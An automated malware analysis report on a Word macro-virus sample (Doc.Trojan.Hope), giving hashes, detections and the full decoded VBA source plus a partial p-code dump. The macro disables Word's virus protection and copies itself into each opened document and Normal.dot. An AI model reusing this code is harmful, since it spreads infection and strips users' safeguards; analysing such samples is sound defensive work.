Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 359a4e0c5f331f68…

MALICIOUS

Office (OLE)

53.5 KB Created: 1999-09-22 15:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 55e082f7a89a0283d9643a95fb8dbaf4 SHA-1: 96ab324b6c52e8646fc09a12aa9f1e10c6e1e3a5 SHA-256: 359a4e0c5f331f685fe02b2a086d97bfd126c73996876cc59d0b2692a53d934a
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution in malicious documents. The script attempts to disable virus protection and other security prompts, then exports and imports VBA components, potentially to establish persistence or load additional malicious code. The specific export path 'C:\LysKovick' and the manipulation of 'Normal.dot' are notable indicators.

Heuristics 4

  • ClamAV: Doc.Trojan.Hope-13 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-13
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.iec.ch In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4864 bytes
SHA-256: 3a35b2ef2f32f74fe262709bbe3cb20d5d86d1829c2087337f379a0760703c5a
Detection
ClamAV: Doc.Trojan.Hope-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If Options.VirusProtection <> 0 Then Options.VirusProtection = 0
If Options.SaveNormalPrompt <> 0 Then Options.SaveNormalPrompt = 0
If Options.ConfirmConversions <> 0 Then Options.ConfirmConversions = 0
ThisDocument.VBProject.VBComponents.Item("LysKovick").Export "C:\LysKovick"
CM = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
ActiveDocument.VBProject.VBComponents.Import "C:\LysKovick"
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString CM
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
NormalTemplate.VBProject.VBComponents.Import "C:\LysKovick"
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString CM
Kill "C:\LysKovick.*"
If Second(Now) = 16 Then LysKovick.Show
End Sub

Attribute VB_Name = "LysKovick"
Attribute VB_Base = "0{5467171C-70DA-11D3-8D6D-0050046DD505}{546716E0-70DA-11D3-8D6D-0050046DD505}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

' Processing file: /opt/analyzer/scan_staging/cc1ad4f0266f4de78bd996932c853616.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8158 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld Options 
' 	MemLd VirusProtection 
' 	LitDI2 0x0000 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	EndIf 
' Line #3:
' 	Ld Options 
' 	MemLd SaveNormalPrompt 
' 	LitDI2 0x0000 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' 	EndIf 
' Line #4:
' 	Ld Options 
' 	MemLd ConfirmConversions 
' 	LitDI2 0x0000 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' 	EndIf 
' Line #5:
' 	LitStr 0x000C "C:\LysKovick"
' 	LitStr 0x0009 "LysKovick"
' 	Ld ThisDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Show 0x0001 
' Line #6:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ThisDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	LitDI2 0x0001 
' 	Ld ThisDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St _B_var_CM 
' Line #7:
' 	LitStr 0x000C "C:\LysKovick"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Impor 0x0001 
' Line #8:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #9:
' 	Ld _B_var_CM 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #10:
' 	Ld ActiveDocument 
' 	MemLd Documents 
' 	ParamNamed FullName 
' 	Ld ActiveDocument 
' 	ArgsMemCall FileName 0x0001 
' Line #11:
' 	LitStr 0x000C "C:\LysKovick"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Impor 0x0001 
' Line #12:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTempl
... (truncated)